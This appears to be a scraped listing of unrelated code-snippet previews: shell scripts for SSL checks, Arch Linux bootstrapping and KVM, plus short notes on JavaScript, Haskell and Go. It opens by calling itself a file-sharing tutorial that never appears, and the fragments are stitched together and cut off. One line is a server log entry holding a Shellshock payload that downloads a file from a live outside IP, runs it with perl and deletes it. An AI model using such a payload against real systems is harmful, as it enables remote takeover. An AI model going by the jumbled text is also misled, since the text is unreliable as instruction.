This is a tutorial that teaches you how to create your own simple file-sharing service. It works in the terminal.
Usage:
$ share ~/pictures/my-funny-kitten.png
http://files.YOURDOMAIN.com/my-funny-kitten.png
#!/bin/bash | |
set -x | |
WARNDAYS=30 | |
PANICDAYS=6 | |
DOMAIN_LIST_URL=https://raw.githubusercontent.com/skopjehacklab/dns-zone-files/master/ssl/list_of_ssl_enabled_domains.txt | |
WARNSECONDS=$(($WARNDAYS * 24 * 60 * 60)) | |
PANICSECONDS=$(($PANICDAYS * 24 * 60 * 60)) |
# Download latest archlinux bootstrap package, see https://www.archlinux.org/download/ | |
wget http://ftp.nluug.nl/os/Linux/distr/archlinux/iso/2016.01.01/archlinux-bootstrap-2016.01.01-x86_64.tar.gz | |
# Make sure you'll have enough entropy for pacman-key later. | |
apt-get install haveged | |
# Install the arch bootstrap image in a tmpfs. | |
mount -t tmpfs none /mnt | |
cd /mnt | |
tar xvf ~/archlinux-bootstrap-2016.01.01-x86_64.tar.gz --strip-components=1 |
Custom recipe to get OS X 10.11 El Capitan running from scratch with useful applications and Node.js Developer environment. I use this gist to keep track of the important software and steps required to have a functioning system after fresh install.
It's easy to trip up on the meaning of this
in JavaScript. The behavior is very different from other languages, which means we have to throw most preconceptions and intuition out the window.
The best way to think of this
in JS is as a hidden argument which is passed in a slightly awkward way. Instead of the normal passing of arguments:
fn(arg1, arg2, arg3)
Introduction to Haskell | |
--- | |
This document is in Literate Haskell. This means that you can download and run this file with `ghci intro.lhs`, and be able to run the functions defined in this file. | |
Haskell is a pure functional programming language that comes with lazy evaluation (in GHC, that is). Its elegance is why many programmers like writing code in Haskell. In this document, I'll give a couple of examples. | |
This document assumes that the reader has at least an intermediate knowledge in an imperative programming language, but does not assume knowledge of functional programming. | |
Also, this document is not intended to teach Haskell. This document is intended to explain the code just briefly, such that the reader understands what the code is doing. |
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22 |
... or Why Pipelining Is Not That Easy
Golang Concurrency Patterns for brave and smart.
By @kachayev
#!/bin/bash | |
MEM=512 | |
LAN=eth0 | |
BRIDGE=virtbr | |
# runs under the user that started it. make sure it has access to /dev/kvm | |
function start_vm { | |
TAPIF=$1 |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000